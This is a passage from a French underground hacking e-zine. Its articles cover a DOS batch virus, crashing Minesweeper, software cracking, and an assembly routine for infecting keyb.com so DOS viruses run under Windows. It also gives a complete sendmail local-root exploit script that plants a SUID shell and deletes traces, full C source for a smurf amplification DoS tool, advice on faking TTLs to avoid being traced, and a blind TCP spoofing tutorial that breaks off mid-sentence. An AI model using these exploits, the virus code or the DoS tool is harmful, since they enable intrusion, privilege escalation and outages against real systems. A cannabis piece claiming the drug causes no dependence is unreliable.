commande une première fois en spécifiant le port par défaut de l'imprimante d'ou l'idée de faire : c:\dos\print < c:\hackviru\prn.txt ==> la valeur par défaut est 'prn'. En faisant cette opération, la commande print va être lancée et prn va s'afficher ainsi la commande sera prête car il faudra la lancer une seconde fois en mettant alors le fichier à imprimer dans la file d'attente, ce qui sera fait lors de : print c:\virus.txt. Petites remarques sur cet article, un second est prévu sur l'explication d'un virus Batch plus puissant, seulement certaines bribes de ce virus ne sont pas transposables à W98 et 95, en effet, la commande print n'existe ni sous le 95 ni sous le 98 dans le répertoire Windows\Command. De ce fait, toutes les lignes qui contiennent ces caractères sont vraies sous Dos ou W3.11 mais non transposables sous W95 et 98. Dommage, je cherche encore comment trouver un moyen universel de lancer une impression à partir des commandes Ms-Dos sous ces versions d'OS : W98 et 95. Cependant en ce qui concerne ce qui suit, quelque soit la version de votre OS, cela marche et bien! C |----| Exploitation d'un petite faille du démineur ! Il existe bien d'autres façons de faire planter des ordinateurs, d'ailleurs la dernière fois que je suis allé chez mon très cher ami xxx (son anonymat est très important selon lui !), j'ai planté son Cyrix en faisant une manipulation très très simple. Allez, je vais vous dévoiler une faille du démineur, très pratique car celui-ci est présent sur toutes les machines qui possèdent Windows quelle que soit la version. Si votre machine est assez coopérative, vous verrez alors apparaître les bonnes vieilles erreurs fatales Windows : avec un peu plus de chance : "Mémoire dangereusement basse!". Winmine est le nom du démineur sous windows et ce jeu plutôt précaire possède un fichier *.ini qui initialise le programme Winmine.exe. Dans ce Winmine.ini il suffit d'étudier la grandeur de la grille de jeu, soit x le nombre de cases en longeur et x' le nombre de cases en hauteur, reste alors à définir le nombre de mines, pour faire planter en beauté la machine il suffit d'établir un nombre de mines qui soit définit selon : (x*x')+1= Nombre de mines. Donc il y a plus de mines que de cases ainsi l'ordinateur plante en beauté. Ceci est une petite faille que j'ai remarquée et qui m'a explosé et dont je voulais faire part à tous . Récemment un ami m'a apporté un jeu GTA (vraiment excellent). Le soir même mes amis et moi (xxx , xxx , xxx) avons entreprit de faire un crack qui est fini. Nous avons déjà réalisé un crack pour Megarace2 et pour Worms1 et 2, et bien d'autres encore ... Qui sait, ces cracks seront-ils disponibles, si vous nous demandez de les faire apparaître sur notre site Internet. Je m'intéresse aussi au Phreak et si certains d'entre vous sont plutôt partisans du crack de FT alors je suis partant, faites moi des propositions, comme le journal de RTC est assez récent, nous avons besoin de vos suggestions et de vos réclamations. Alors n'hésitez pas, écrivez-moi. PS : C'est bien beau mais au niveau de la programmation Batch, il existe très peu d'antivirus capables de détecter réellement des virus puissants. Et ouais, pourquoi il faut pas hésiter : bon courage ...!!! SnEaKie ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// MANIFESTE CONTRE L'UTILISATION DES SOCKETS DE TROIE ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Toi t es un hacker , un vrai , un pro de l'intrusion ! Comment BACKORIFICE OU autre NETBUS ? waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarfffff. Nan ici on parle de hacking ! Alors si tu vois le piratage info comme l'utilisation de socket de troie , DEGAGE ET ARRETE DE LIRE CE MAG les mecs comme toi on en veut pas . Les sockets de troie sont parfois très utiles , c vrai, mais les mecs comme toi qui en abusent pour faire chier le monde ou pour se la péter sur IRC sont des merdes. Nan t as pas compris ? Va te faire voir ! tu pourris l'image des hackers. Si par contre t es un newbie et tu veux apprendre à hacker, toutes mes excuses cher ami , j suis la pour t aider. Mes conseils sont simples : avant de lire un quelconque mag underground installe linux et apprends à l'utiliser. apprends les bases de la prog c et asssembleur va lire l'article de Dan Farmer ( auteur de satan ) ou mieux sa traduction dans noroute 1. Les exploits qui y sont présentés n'ont plus ( ou plutot quasiment plus ;-) ) d'utilité, cependant ils permettent une bonne approche du hacking et en présentent les concepts de base. Si t as le moindre problemes n' hesite pas à me contacter : le g4ng est la pour ca : RTCgang@yahoo.fr Par4noID ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ADAPTER UN VIRUS DOS A WINDOWS SANS TOUCHER AU MODE PROTEGE ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Avant de commencer, je tiens à dire que je parle de virus assembleur simples c'est à dire qui ne sont pas munis d'une routine boot (car ceux-ci peuvent et même doivent prendre le contrôle bien avant tout le monde). Le mode DOS sous Windows n'est, comme chacun doit le savoir, qu'une émulation du DOS. On ne peut dès lors quasiment rien faire en tant que virus (notamment installer un virus résidant). Or cet inconvénient s'avère très handicapant pour un virus. En fait, le seul moyen d'accéder à l'ensemble de la mémoire en mode DOS est de le faire avant le chargement de Windows, c'est à dire au moment où autoexec.bat s'éxecute. On peut donc ajouter une ligne de commande supplémentaire dans l'autoexec.bat qui installerait le virus... N'importe quoi! C'est complètement stupide et celui qui oserait émettre une telle supposition ne sait sûrement pas que le but de tout virus est de rester furtif le plus longtemps possible. Mais il y a une alternative très intéressante qui est d'infecter un programme éxecuté dans l'autoexec.bat, ce qui revient exactement au même. Pour cela il suffit de rajouter une toute petite routine qui infecte keyb.com par exemple. Voici donc le code de cette miniroutine qui permet aux virus à priori inefficaces sous Windows de fonctionner quand même : ------------------------------------------------------------------------------- INFECT_KEYB: mov dx,offset keyb_path call infect_com ;infect est la routine d'infection des .com ret keyb_path db 'c:\windows\command\keyb.com$' -------------------------------------------------------------------------------- Bien sûr, on peut faire de même avec quasiment n'importe lequel des fichiers contenu dans le répertoire c:\windows\command\ . Androgyne ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// EXPLOITS SENDMAIL 8.73 -> 8.83 ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Parce que sur IRC on me pose encore beaucoup de question sur un exploit sendmail de base j 'ai ici décidé de l'expliquer. Remarquons que cet exploit a été patché depuis de la version 8.83. Tout le monde connait sendmail (meme cet abruti de Scientist!) , logiciel aussi celebre pour son utilite que pour ses bugs ! Car des bugs il en a et en voila un de taille : sendmail permet à nimporte quel utilisateur de lancer un prog avec les droits SUID 0. D'abord une petite explication pour les newbies : Linux est un OS qui travaille avec des droits , je pense que vous le savez (sinon vous pouvez arreter la lecture de cet article) , mais ce que vous ne savez peut-être pas c'est que les droits de chaque utilisateur sont identifiés par deux numéros : le numéro UID et GID : le numéro UID identifie les droits de l'utilisateur meme alors le numero GID identifie les droits du groupe auquel cet utilisateur appartient. Ces numéros sont definis dans le fichier /etc/passwd. exemple : extrait d'un fichier /etc/passwd : root:rTDFDfdf:0:0::/root:/bin/bash public:dERGrg:100:100::/home/public:/bin/bash guest:ERTERFDg:100:100::/home/guest:/bin/bash bimbo:sfdgFDGg:50:100::/bimbo:/bin/bash explication : bimbo:sfdgFDGg:50:110::/bimbo:/bin/bash ^ ^ ^ ^ ^ ^ | | | | | | | |numéro UID GID | shell lancé | | /home/directory |passwd crypté | nom d'utilisateur Remarquons ainsi que, dans notre exemple , public et guest ont le meme numero UID et le meme numero GID ce qui signifie qu'ils ont exactement les memes droits utilisateur et groupe; autrement dit ils sont tout a fait equivalent. bimbo n a pas le meme numero UID que public il n'a donc pas les memes droits. Cependant puisque bimbo et public ont le meme GID ils appartiennent tout deux au meme groupe. Ainsi tous les droits accordés aux groupe 100 sont accordés à bimbo, public et guest.Si un fichier ne peut peut etre modifiable que par l'utilisateur 100 et a le droit d'etre lu par tout le groupe 100 , bimbo qui a un UID 50 ne pourra pas modifier le fichier ;par contre en tant que membre du groupe 100 il pourra le lire. NOtons que les droits UID 0 et GID 0 sont tres spéciaux : en effet il donne à l'utisateur qui en est porteur tous les droits ;-))))))) Ceci explique que le root possede toujours l'UID et le GID 0. Oui mais qu'est ce donc que le bit SUID ? Supposons un utilisateur user avec les droits 100 : user a, comme tout utilisateur, le droit de modifier son mot de passe en executant la commande passwd, il peut donc au travers de passwd modifier le fichier /etc/passwd ce qui n est pas permit normalement à l'utilisateur 100. Pourquoi ? Et bien tout simplement parce que passwd possede le bit SUID 0 ce qui signifie que quelquesoit l'utilisateur lancant passwd le prog sera éxécuté avec l'UID 0 (donc passwd aura le droit d'ecrire dans /etc/passwd) Imaginer maintenant qu'un shell possede le bit SUID 0 : si vous lancer un tel shell celui-ci s'executera avec les droits UID 0 ce qui signifie que toutes les commandes executées dans ce shell seront root ;-))))) PASSONS au BUG : sendmail permet de lancer un prog avec l'UID 0 et le GID 0. Comment ? * d'abord on cree le prog smtpd(nom du deamon) que l'on veut que sendmail nous lance. /* on cree un classique prog c de prise de controle d'une machine */ _ void main () { /* d'abord le prog smtpd se donne les UID et GID 0 : clairement ces instructions ne seront tolérées par la machine que si le prog est execute par le root ou appelé par un prog possedant le SUID 0 */ setuid(0); setgid(0); /* ensuite maintenant que smtpd est root il peut agir comme bon lui semble : il peut notamment copier un shell dans /tmp et lui donner le bit SUID 0 */ system("cp /bin/sh /tmp/sh"); system("chmod a=rsx /tmp/sh"); } _ * maintenant on veut s'arranger pour que ce prog soit lancé avec l UID 0 et le GID 0 : 2 méthodes : ou ce prog est lance par le root ( on peut toujours rever) ou on se demene pour qu'il soit lance avec un prog qui a le SUID 0 et le SGID 0 (et devinez quoi c est justement ce que sendmail nous permet de faire). Creons un prog explode.c : _ void main () { execl("/bin/sendmail","smtpd",0) /* cet ligne est tout a fait equivalente à la ligne shell bash$ sendmail smtpd & */ } _ on compile le tout et maintenant si on lance explode ou que l'on tape la ligne shell equivalente on aura l'heureuse surprise de retrouver un shell SUID 0 dans /tmp bingo !!!! reste que l'on peut alors killer le process sendmail qui est en tache de fond Reste à ecrire l'exploit qui permettra de tout faire en une ligne. On l'ecrira sous la forme d'un shell script dont voici l'explication: D'abord on cree le prog smtpd (dans /tmp car on est sur qu'il est world writable) echo 'void main() { '>> /tmp/smtpd.c echo 'setuid(0); '>> /tmp/smtpd.c echo 'setgid(0); '>> /tmp/smtpd.c echo 'system("cp /bin/sh /tmp/sh") '>> /tmp/smtpd.c echo 'system("chmod a=rsx /tmp/sh") } '>> /tmp/smtpd.c voila maintenant on compile : gcc /tmp/smtpd.c -o /tmp/smtpd ok ensuite on cree explode.c echo 'void main() { '>> /tmp/explode.c echo 'execl ("/bin/sendmail","/tmp/smtpd",0) } '>> /tmp/explode.c on compile explode.c gcc /tmp/explode.c -o explode on lance le tout: /tmp/explode bon des lors le shell SUID 0 est copié dans /tmp reste à effacer les traces : rm /tmp/explode.c rm /tmp/explode rm /tmp/smtpd.c rm /tmp/smtpd puis à killer le process en fond : kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` voila enfin le moment tant attendu : on lance le shell: /tmp/sh sh# ;-))))))) Que jusque la vous ayez compris ou non voici le script final qui exploite le bug : ----------------------------------CUT HERE------------------------------------ cd /tmp echo 'void main() { '>> /tmp/smtpd.c echo 'setuid(0); '>> /tmp/smtpd.c echo 'setgid(0); '>> /tmp/smtpd.c echo 'system("cp /bin/sh /tmp/sh") '>> /tmp/smtpd.c echo 'system("chmod a=rsx /tmp/sh") } '>> /tmp/smtpd.c gcc /tmp/smtpd.c -o smtpd echo 'void main() { '>> /tmp/explode.c echo 'execl ("/bin/sendmail","smtpd",0) } '>> /tmp/explode.c gcc /tmp/explode.c -o explode /tmp/explode rm /tmp/explode.c rm /tmp/explode rm /tmp/smtpd.c rm /tmp/smtpd kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` ----------------------------------CUT HERE------------------------------------ Par4noID ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// AH!!!!!!!! ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Joint, petard, cone, stick, pet,tarpe,oinj,tonj,tos,pecos,bedos...De multiples noms ont été attribues a la fameuse cigarette louche variant suivant sa forme ou bien la manière de le rouler. Bref je ne tenterai pas de faire un récapitulatif pour tout ce qui concerne ce sujet, du moins pour le moment. Le prochaine article pourra vous en apprendre beaucoup car tout ces conseils proviendront de multiples directions et je remercie par avance toute l'équipe de " " qui m'auront fait par de leur expérience en la matière . Je tenais juste pour le moment a exprimer mes sentiments et mon opinion a ce sujet: Aujourd'hui la France refuse toujours de légaliser mon petit plaisir de fin de soirée ce qui m'embête un peu . Car on sait désormais que cette petite plante possède des effets bénéfiques pour tout ceux qui souffrent. Mais bien sur la France ( peut être un peu trot prudente par moment qd il s'agit d'innover ce qui n'est pas plus mal dans un sens) s'obstine dans sa démarche de lutte. Je pense que beaucoup désormais ont remplacé l' heure de l'apéros par l' heure du pétard ce qui a pour moi le même effet. La convivialité reste la même. Bien entendu je ne suis pas de ceux qui se claquent la tête tous les soirs mais je tiens tout de même a ajouter une chose: la Ganja ne rend pas dépendant, évidemment on pourra toujours trouver des personnes pas très bien dans leur tête, qui expriment un manque mais ceux là je les comparerais plutôt a des alcooliques. Car la dépendance n'existe pas et j'en suis la preuve. Bref tout le monde y gagnerait l'État y compris. A bon entendeur salut The ScienTisT ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// COMMENT PLANTER AOL, YAHOO, AMAZON : LE SMURF ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Ce DoS est assez simple. Il suffit d'envoyer des paquets ICMP "echo requete" spoofés(c'est a dire avec une fausse adresse source : celle de votre victime) La victime est submergée de réponses de paquet ICMP. J'explique: Le ping vous connaissez : vous envoyez un paquet ping (c'est à dire un paquet ICMP requete echo: ICMP type 8 et code 0) à un ordinateur qui vous répond par un autre paquet ICMP reponse echo de type 0 et code 0.Ce qui ce traduit à l'ecran par: 64 bytes from 150.365.182.0(pour les cons): icmp_seq=0 ttl=64 time 15.2 ms 64 bytes from 150.365.182.0: icmp_seq=1 ttl=64 time 14.2 ms 64 bytes from 150.365.182.0: icmp_seq=2 ttl=64 time 18.2 ms Maintenant essayons de pinger un broadcast (c'est à dire l'adresse d'un reseau comme 11.255.255.255 pour internet ou FF:FF:FF:FF:FF:FF pour Ethernet). Chaque ordinateur du réseau du broadcast va vous répondre. C'est à dire si vous envoyer 10 paquets en pingant un broadcast compose d'une centaine d'ordinateur, vous recevrez un millier de paquet provenant de la centaine d'ordi du broadcast. Donc le smurf consiste à envoyer plein de paquets requete echo à des broadcasts avec une fausse adresse source (celle de votre victime). Les ordinateurs des broadcasts, croyant recevoir un paquet ping de la machine victim vont alors répondre à celle-ci par pleins de zolis datagrammes ICMP, la machine victim submergée de paquets va alors plante en beaute !!! (le smurf est donc une attaque du style ping flood sauf qu'ici avec un seul paquet vous créez une masse de datagrammes reponse ICMP) (Comment ça j'suis pas clair ??? Un ptit schéma pour expliquer:) VOTRE ORDINATEUR | | envoit des paquets echo requete en se faisant passer pour victim (datagramme contenant comme adresse source l'adresse de victime) | | | | | | BROADCAST <-------------------- -------------------->BROADCAST avec son réseau avec son réseau ||||||| tous les ordinateurs ||||||| ||||||| des broadcasts ||||||| ||||||| renvoient alors des paquets reponse echo ||||||| ||||||| a victime pour répondre à la demande ||||||| ||||||| des paquets echo requete ||||||| ||||||| provenant de notre machine ||||||| ||||||| mais avec l'adresse source de victim ||||||| ||||||| ||||||| ||||||--------->----------| |---------<---------------|||||| |||||---------->---------|| ||--------<----------------||||| ||||----------->--------||| |||-------<-----------------|||| |||------------>-------|||| ||||------<------------------||| ||------------->------||||| |||||-----<-------------------|| |-------------->-----|||||| ||||||----<--------------------| --------------->----||||||| |||||||---<--------------------- ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| Victime qui recoit tous les paquets et qui a mal !! (Ici j'ai mis que 7 ordi par réseau parce que ça commencait à me prendre la tête) Normalement le smurf ne peut pas être tracer car il n'y a aucune adresse ip ou renseignement de votre ordi que vous envoyez avec les paquets ICMP echo requete. Mais peut être avec la coopération et la coordination des routeurs??????? Alors attention!!!!!!!!! Voici un p'tit smurf de base entièrement expliquer mais il faut avoir quelques connaissances en C pour comprendre ce que je dit. Ce programme est un "smurfeur" qui lit les adresses de broadcast dans un fichier que vous auriez auparavant remplis comme ceci: 1.255.255.255 211.255.255.255 113.255.255.255 112.255.255.255 150.255.255.255 Quand je met , ça veut qu'il faut appuyer sur entrée et pas le taper!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -----------------------------------Cut here------------------------------------ /* déclaration des librairies utilisées*/ #include #include #include #include #include #include #include #include #include #include #include #include #include /*déclaration des fonctions*/ void argument(void); void smurf(int , struct sockaddr_in, u_long ,int ); unsigned short in_chksum(u_short *, int); /* Voici la fonction qui écrit ce qui faut taper quand cette fonction est appelée*/ void argument(void) { printf("arguments: " " \n \n\n" "cible = cible a attaquer : la victime \n" "broadcast file = fichier contenant les adresses des broadcast\n" "nombre de paquet = nombre de paquet a envoyer\n" "delai = temps ecoule entre chaque paquet envoye (in ms)\n" "taille des paquets = taille des paquets < 1024 \n\n"); exit(0); } /* On commence maintenant le vrai code*/ int main (int argn, char *argt[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfichier; int i, sock, bcast, delai, nombre, pqtaille, x, precision, cycle; char buf[16], **bcastadresse ; /* là on a déclare les variables. bcastadresse est le pointeur d'un pointeur d'une chaine de caractère et **bcastadresse est le contenu de cette variable. he est le pointeur de la structure hostent et *he est une structure hostent.*/ printf("smurf by SLy\n"); if (argn != 6) argument(); /* si il n'y a pas 6 arguments alors on appelle la fonction argument. Remarque : le nom du programme compte comme un argument : l'argument 0 */ nombre = atoi(argt[3]);/* atoi sert juste à convertir l'argument*/ delai = atoi(argt[4]);/* qui est une chaine de caractère en*/ pqtaille = atoi(argt[5]);/* nombre*/ /* Voici une petite erreur sur la taille du paquet */ if (pqtaille > 1024) { printf("Erreur : la taille du paquet doit etre inferieur a 1024\n\n"); exit(0); } /*On demande ensuite de remplir la structure hostent qui donne des informations sur la victime (dans ce cas la) en le demandant au serveur DNS */ if ((he = gethostbyname(argt[1]))== NULL){ printf("Cible introuvable\n"); exit(0)} /* bcopy( he->h_addr,(char *)&sin.sin_addr,he->h_length ); /* on copie dans sin les informations contenues dans hostent grâce aux pointeurs*/ sin.sin_port = htons(0);/*pour le port*/ sin.sin_family = AF_INET; /*pour le type : remplir comme le type de la socket*/ /* ouvre le fichier indiqué en mode read et fait une erreur si il n'y arrive pas/* if ((bcastfichier = fopen(argt[2], "r")) == NULL) { printf("ouverture du fichier impossible\n"); exit (0); } bcastadresse = malloc(8192); /* j'ai dit t'a l'heure que bcastadresse était un pointeur de pointeur d'une chaine de caractere. Donc commme c'est un pointeur, je crée un bloc de memoire de 8192 octets (vous pouver mettre moins mais il vaut mieux que ce soit un multilple de 16) et bcastadresse pointe le début de ce bloc memoire.*/ x = 0; while (!feof(bcastfichier)) { /*tant que ce n'est pas la fin du fichier on fait la boucle*/ fgets(buf, 16, bcastfichier); /*fgets lit 16 octets à partir du pointeur de fichier bcastfichier mais ne lit pas tout le temps 16 octets car il s'arrête quand il rencontre '\n' (c'est à dire )*/ for (i = 0; i < strlen(buf); i++) { if (buf[i] == '\n') buf[i] = '\0';} /*Comme fgets a lu la chaine il renvoie donc la valeur avec '\n'. La boucle avec for ne sert juste qu'a enlever ce caractère et le remplacer par '\0'(Le caractère de la fin d'une variable).*/ bcastadresse[x] = malloc(16);/*On réserve 16 octets (15 octets pour l'adresse ip (125.131.253.162 par exemple) + 1 pour le caractere de fin '\0' pour le premier élément du tableau*/ strcpy(bcastadresse[x], buf);/*Copie buf dans un élément du tableau */ x++;/*incrémente x donc x=x+1*/ } bcastadresse[x] = 0x0;/*voir plus tard*/ fclose(bcastfichier);/*ferme le fichier*/ /*Encore un autre message d'erreur au cas ou*/ if (x == 0) { printf("ERREUR: Pas de broadcast trouver dans %s\n\n",argt[2]); exit(0); } /*La j'ouvre une socket de type AF_INET(ARPA Internet protocol)et de type SOCK_RAW (il doit être lancer par le root,car elle permet au programmeur d'accéder directement aux protocoles et interfaces internes du réseau. C'est indispensable lors de connections spoofées). Et tout ca grâce à la commande socket*/ if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { printf("ERREUR pour ouvrir la socket\n"); exit(0); } /*Là on définit les options de la socket grâce à la fonction setsockopt*/ setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s \n", argt[1]); cycle = 0; /*là on fait une boucle pour envoyer autant de paquet que celui mis pour l'argument nombre*/ for (i = 0; i < nombre || !nombre; i++) { /*appelle de la fonction smurf (voir plus bas)*/ smurf(sock, sin, inet_addr(bcastadresse[cycle]),pqtaille); cycle++; /*on incremente cycle*/ if (bcastadresse[cycle] == 0x0) cycle = 0; /*si on rencontre 0x0 dans le tableau que pointe bcastadresse alors cela veut dire qu'il n'y a plus d'adresse broadcast après et donc on revient au début du tableau pour recommencer*/ usleep(delai); /* repose votre ordi quelques ms(avant dernier argument pour pas qu'il plante (faites comme vous voulez)*/ } } void smurf(int sock,struct sockaddr_in sin,u_long dest ,int ptaille) { struct iphdr *ip; struct icmphdr *icmp; char *paquet; paquet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); /*paquet pointe au début d'une zone mémoire de la taille du futur paquet*/ ip = (struct iphdr *)paquet; /* ip pointe au début de *paquet */ icmp = (struct icmphdr *) (paquet + sizeof(struct iphdr)); /*icmp pointe sur *paquet mais après la taille de l'entête ip*/ memset(paquet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); /* longueur du paquet à envoyer*/ ip->ihl = 5; ip->version = 4; ip->ttl = 255; /* Voir l'article de Par4noID*/ ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; /*adresse source donc celle de la victime qui est contenue dans s_addr de la stucture sin_adrr de la structure sin de type sockaddr_in*/ ip->daddr = dest; /*adresse du broadcast obtenue par inet_addr(broacast[cycle]) dans la fonction d'avant*/ ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); /*taille du header ip grâce à la fonction checksum(voir plus bas)*/ icmp->type = 8; /*type 8 et code 0 pour*/ icmp->code = 0; /* dire que c'est paquet icmp echo requete*/ icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + ptaille); /*taille du header icmp grâce à la fonction checksum(voir plus bas)*/ sendto(sock, paquet, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); /*ET GO !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/ /*le paquet est envoyée*/ free(paquet); /*on libère la mémoire occupée par paquet*/ } /*Fonction qui permet de calculer la taille du paquet et qui est dans tous les programmes en C qui font leur paquet. Donc j'ai jamais essayer vraiment de comprendre. Alors je l'ai pompée et je ne vous l'expliquerai pas.*/ unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } -----------------------------------Cut here------------------------------------ SLy ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// TTL OU COMMENT SE FAIRE TRACER PAR QUELQUES OCTETS ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Dans cet article, je ferais souvent reference à la structure des headers IP ainsi si vous ne la connaissez pas je vous conseille d'aller lire par exemple l'article de Kewl dans noroute1 (ou tout autre article sur les datagrammes IP). Cet article porte sur le champ TTL (time to live) des headers IP. D'abord une petite explication : chaque paquet IP porte un numero code sur un octet dit time to live (TTL) qui traduit la duree de vie du paquet. A chaque fois que le paquet passe au travers d'un routeur le TTL est decremente de 1 , s'il tombe à 0 le paquet est detruit. Le probleme est que la plupart des DOS (ou autre programme utile ;-) ) envoie des paquets dont le TTL est initialisé à 255 (c'est a dire au max)! Prenons un exemple, j suis trankyyyyyl sur un reseau local styl 195.169.0.0 et on m'attaque par une DOS classique . Etant sous linux je compile trankylou un prog c ouvrant une socket et tapant un petit read(rawsocket,&paquet,sizeof(paquet)) pour pouvoir observer les paquets qu'on m'envoie. Et la qu'est-ce que j vois ? IPsource : 199.167.25.56 TTL:255 . Clairement l'ip ne veut rien dire, en effet les dos sont spoofée puisque les paquets ne reviennent pas à l'expediteur.Par contre on remarque un TTL de 255 c'est a dire au max, le paquet n'est donc passe par aucun autre systeme que le notre : le paquet vient donc du reseau local ! On scan alors l'ensemble des machines du reseau pour remonter jusqu'au coupable! Mais il y a pire : prenons le logiciel de scan nmap, celui-ci (qu'utilise nombre de hacker) envoie des paquets dont le TTL est mis à 255 et dont le port source est toujours de 49724 ! Imaginons alors un sympathique defenseur de la liberte du net utilisant nmap pour scanner les ports d'une machine,disons...judiciaire noté FCK. Grossiere erreur ! En effet FCK, ecoutant ses ports, remarque un paquet de port source 49724 qui arrive à sa machine. FCK sait alors que quelqu'un tente de faire un nmap sur ses ports. Il note le TTL moyen (moyenne des TTLs des differents paquets de port source 49724) et sachant que nmap met le TTL initialement à 255 il sait par un rapide calcul (255-TTL moyen) la distance en nombre de systemes (ou routeur) qui le separe du hacker. Bon maintenant si le hacker utilise regulierement nmap sur des machines judiciaires, par recoupement (en utilisant une carte des systemes comme en dispose nos amis les V) on peut remonter jusqu'au premier systeme qu'utilise le hacker c'est a dire son fournisseur d'acces ! Bon la suite j crois que j ai pas besoin de l'expliquer! BUSTED ! Conclusion: initialisez vos TTL à une valeur comprise entre 150 et 200 dans vos progs c, le mieux etant bien sur de pouvoir choisir son TTL à chaque lancement du prog (pour trois lignes de programmation en plus vous pouvez peut etre un petit effort) ! utilisez toujours la combinaison wingate proxy shell qui rallonge les routes et qui rend ainsi l'ecart type entre les valeurs des TTL suffisamment grand pour rendre ceux-ci inutilisables! Par4noID ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// HACKING METHODE : LE SPOOFING DE CONNECTION ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Le but de cet article est de vous expliquer une methode fatal de hacking : le spoofing ! Noter que je n'ai aucunement la pretention d' apprendre quoi que ce soit a toute personne qui s'interesse depuis un certain temps au hacking et qui (comme tout bon hacker) en maitrise l'utilisation et le codage. Cet article s'addresse donc principalement aux newbies et a tout ceux desireux d'apprendre l'efficacite d'une telle methode. Preliminaire : Le spoofing consiste a voler l'addresse IP d'une machine c'est a dire a se faire passer aux yeux d'une machine B pour une machine A. Pour mettre en oeuvre une telle pratique , il nous faut d'abord nous interesser à l'etablissement d'une connection TCP/IP : UNE CONNECTION TCP/IP SE FAIT EN TROIS ETAPES : 1 La machine A ( qui veut etablir une connection avec B) envoie un paquet ,avec le bit SYN placé, à B ainsi que son ISN ( qu'on note ISNa ) A ---------SYN + ISNa--------> B 2 La machine B repond par un paquet, avec les bits SYN et ACK placés , muni de son ISN ( qu'on note ISNb ) ainsi que de l'ISNa pour ainsi "prevenir A" qu'elle connait bien son ISN. A <--SYN + ACK + ISNb + ISNa-- B 3 La machine renvoie finalement un paquet avec le bit ACK place et l'ISNb pour prevenir B qu'elle a bien recu son ISN. B ---------ACK + ISNb--------> A Voila si vous voulez plus de precision, allez voir l'article de Scientist. LeT's spOOf ! Machine A : 192.156.0.23 Machine B : 191.142.23.15 Mettons que la machine A ait des droits rlogin sur la machine B. Notre but est simple : nous faire passer pour A aux yeux de B et d'ainsi etablir une connection, d'obtenir un shell (par spoof) puis un ptit roOt. Ok alors comment faire ? D'abord envoyer un paquet SYN avec notre ISN et l'addresse IP de la machine A , c pas si simple ! En effet si on envoie un tel paquet a B , celle ci va repondre à la machine A (la vraie) par un packet SYN/ACK avec son ISN et le notre l'ISNh. si on note H la machine du hacker , tout se passe suivant le schema suivant : 1 H --------SYN + ISNh-------> B avec addresse IP de A 2 B --SYN/ACK + ISNh + ISNb--> A La machine A qui n'a pas envoye de paquet SYN repond a B par un datagramme erreur : B coupe alors la connection : bye bye shell ! CONCLUSION : La premiere etape du spoofing consiste à deconnecter la machine A ;-)) pour se faire utiliser une DOS classique (cf par exemple article smurf de SLy) Une fois que la machine A est hors service , on construit un paquet SYN ( la prog c est classique toutefois n oublier pas de remplir la structure iphdr avec les infos de A ! ) C alors qu'intervient le probleme majeur du BLIND SPOOFING : reflechissons : B va repondre à la machine A (qui est alors hors service) en lui envoyant l'ISNh et l'ISNb et va attendre le paquet ACK final CONTENANT L'ISNb : la on a un probleme ! voyons tout ceci en schema : 1 ETAPE 1 : on met A HORS SERVICE H -----------DOS-----------> A 2 ETAPE 2 : on envoie un paquet SYN à B en nous faisant passer pour A H -----SYN + ISNh----------> B IP de A 3 ETAPE 3 : B est alors persuade que A veut etablir une connection, elle renvoie donc un SYN/ACK à A ( qui ne repondra jamais car Out of Service) B --SYN/ACK + ISNh + ISNb--> A (OOS) 4 ETAPE 4 : B attend alors un paquet ACK de la part de A pour etablir une connection. En theorie il faut donc que H lui envoie ce paquet au nom de A: H -------ACK + ISNb--------> B Le probleme est que , dans ce dernier paquet, il nous faut renvoyer l'ISNb que nous ne connaissons pas ! (rappelez vous l'ISNb a été renvoyé à A) On distingue alors deux cas : - on est sur un reseau local : un simple sniffer nous permet alors d'obtenir l'ISNb : on parle de Non-BLIND SPOOFING. - on est sur internet : il nous faut deviner l'ISNb : on parle de 